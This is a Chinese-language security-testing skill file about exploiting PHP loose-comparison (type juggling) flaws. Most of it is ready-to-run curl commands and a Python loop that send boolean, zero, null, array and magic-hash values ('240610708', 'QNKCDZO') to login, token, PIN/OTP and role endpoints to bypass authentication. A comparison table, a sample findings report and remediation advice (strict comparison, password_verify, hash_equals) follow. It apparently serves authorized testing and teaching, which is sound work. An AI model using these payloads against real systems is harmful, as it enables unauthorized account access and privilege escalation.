| name | exploiting-type-juggling-vulnerabilities |
| description | 利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["type-juggling","php-security","loose-comparison","authentication-bypass","magic-hash","type-coercion","web-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用类型转换漏洞(Exploiting Type Juggling Vulnerabilities)
适用场景
- 测试 PHP Web 应用程序的身份验证绕过漏洞时
- 评估密码比较和哈希验证逻辑时
- 测试使用宽松比较(== 而非 ===)的应用程序时
- 对处理 JSON 或反序列化输入的 PHP 应用程序进行代码审查时
- 评估依赖类型相关比较的输入验证时
前置条件
- 了解 PHP 类型系统和宽松比较行为
- 掌握魔术哈希值(0e 前缀)及其科学记数法解释
- 使用 Burp Suite 进行请求操纵和参数类型更改
- PHP 开发环境,用于本地测试载荷
- 来自 PayloadsAllTheThings 的魔术哈希字符串集合
- 能够发送 JSON 或序列化数据以控制输入类型
工作流程
步骤 1 — 识别类型转换目标
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}'
步骤 2 — 利用宽松比较实现身份验证绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":0}'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":true}'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":[]}'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":null}'
curl -X POST http://target.com/login \
-d "username=admin&password[]=anything"
步骤 3 — 利用魔术哈希碰撞
curl -X POST http://target.com/login \
-d "username=admin&password=240610708"
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
echo -n "测试:$payload -> "
curl -s -X POST http://target.com/login \
-d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
echo
done
步骤 4 — 利用访问控制中的比较漏洞
curl "http://target.com/api/user?id=1abc"
curl -X POST http://target.com/api/action \
-H "Content-Type: application/json" \
-d '{"action":"delete","role":true}'
curl -X POST http://target.com/api/verify \
-H "Content-Type: application/json" \
-d '{"token":0}'
步骤 5 — 通过反序列化输入利用
curl -X POST http://target.com/api/verify-token \
-H "Content-Type: application/json" \
-d '{"token":true}'
curl -X POST http://target.com/api/verify-pin \
-H "Content-Type: application/json" \
-d '{"pin":true}'
curl -X POST http://target.com/api/check-code \
-H "Content-Type: application/json" \
-d '{"code":0}'
步骤 6 — 自动化类型转换测试
python3 -c "
import requests
import json
url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']
for p in payloads:
data = {'username': 'admin', 'password': p}
r = requests.post(url, json=data)
print(f'password={json.dumps(p):20s} -> 状态: {r.status_code}, 长度: {len(r.text)}')
"
核心概念
| 概念 | 定义 |
|---|
| 宽松比较(==) | PHP 比较,在比较值之前执行类型强制转换 |
| 严格比较(===) | PHP 比较,要求值和类型都匹配 |
| 魔术哈希(Magic Hash) | 哈希以 "0e" 开头并后跟数字的字符串,在宽松比较中等于 0 |
| 类型强制(Type Coercion) | 比较期间类型之间的自动转换(字符串转整数、null 转 0) |
| strcmp 绕过(strcmp Bypass) | 将数组传递给 strcmp() 返回 NULL,在宽松比较中等于 0 |
| JSON 类型控制(JSON Type Control) | 使用 JSON 输入向 PHP 端点发送特定类型(布尔值、整数、null) |
| 科学记数法(Scientific Notation) | PHP 在数值比较中将 "0eN" 字符串解释为 0 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite | 用于更改请求中参数类型的 HTTP 代理 |
| PHP 交互式 Shell | 本地测试类型转换行为 |
| PayloadsAllTheThings | 精选的魔术哈希和类型转换载荷列表 |
| phpggc | PHP 通用 Gadget 链,用于反序列化利用 |
| 自定义 Python 脚本 | 自动化类型转换载荷测试 |
| PHPStan/Psalm | 检测代码中宽松比较的静态分析工具 |
常见场景
- 通过布尔值绕过身份验证 — 发送
"password": true 作为 JSON 以绕过宽松比较密码验证
- 魔术哈希碰撞 — 使用已知魔术哈希输入("240610708"),其 MD5 以 "0e" 开头,与存储的哈希匹配
- strcmp 数组绕过 — 发送
password[]=anything,使 strcmp() 返回 NULL,绕过密码比较
- PIN/OTP 绕过 — 发送整数 0 作为验证码,与实际代码的 "0e..." 哈希匹配
- 角色提升 — 发送
"role": true,在宽松比较访问控制中匹配任何非空角色字符串
输出格式
## 类型转换漏洞报告
- **目标**:http://target.com
- **语言**:PHP 8.1
- **框架**:Laravel
### 发现
| # | 端点 | 参数 | 载荷 | 类型 | 影响 |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true(布尔值) | 宽松比较 | 认证绕过 |
| 2 | POST /login | password | 240610708(魔术哈希) | MD5 0e 碰撞 | 认证绕过 |
| 3 | POST /login | password[] | 数组 | strcmp 返回 NULL | 认证绕过 |
| 4 | POST /verify | code | 0(整数) | 数值比较 | OTP 绕过 |
### PHP 比较表(相关)
| 表达式 | 结果 | 原因 |
|-----------|--------|--------|
| 0 == "password" | TRUE | 字符串转换为 0 |
| true == "password" | TRUE | 非空字符串为真值 |
| "0e123" == "0e456" | TRUE | 均为科学记数法 = 0 |
| NULL == 0 | TRUE | NULL 转换为 0 |
### 修复建议
- 在安全关键代码中将所有 == 替换为 ===(严格比较)
- 使用 password_verify() 进行密码比较,而非直接比较
- 使用 hash_equals() 进行时序安全的哈希比较
- 在比较操作前验证输入类型
- 在所有文件中启用 PHP strict_types 声明